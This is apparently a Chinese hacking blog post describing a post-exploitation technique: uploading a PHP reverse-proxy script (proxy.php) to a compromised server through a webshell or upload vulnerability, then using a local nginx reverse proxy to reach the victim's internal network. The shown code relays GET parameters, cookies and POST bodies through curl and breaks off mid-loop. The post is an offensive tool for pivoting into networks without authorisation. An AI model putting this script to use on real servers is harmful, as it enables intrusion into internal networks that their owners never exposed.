有时候要代理进内网,但是服务器没有外网端口,也没法执行命令反弹lcx什么的,也没有提权什么什么的,只有一个webshell,这个时候就比较蛋疼了。
鄙人不才,写了一个比较山寨的php+nginx反向代理,可以比较容易的实现这个功能。
架设起来也算是比较方便了。就把这个用webshell也好,上传漏洞也好,甩到对方服务器上。
然后配置一下本地的nginx,做一个反向代理+rewrite就OK。
先看代码
proxy.php
<?php
if(!isset($_GET['url'])){
exit(0);
}
$ch = curl_init();
$url=$_GET['url'];
if(strstr($url,'?')){
$url.='&';
}
else{
$url.='?';
}
unset($_GET['url']);
foreach($_GET as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$url=$url.'&'.$Key.'='.urlencode($Val);
}
$cookie='';
foreach($_COOKIE as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$cookie=$cookie.$Key.'='.urlencode($Val).'; ';
}
if($_SERVER['REQUEST_METHOD']=="POST"){
curl_setopt($ch, CURLOPT_POST, 1);
$post_data='';
foreach($_POST as $Key=>$Val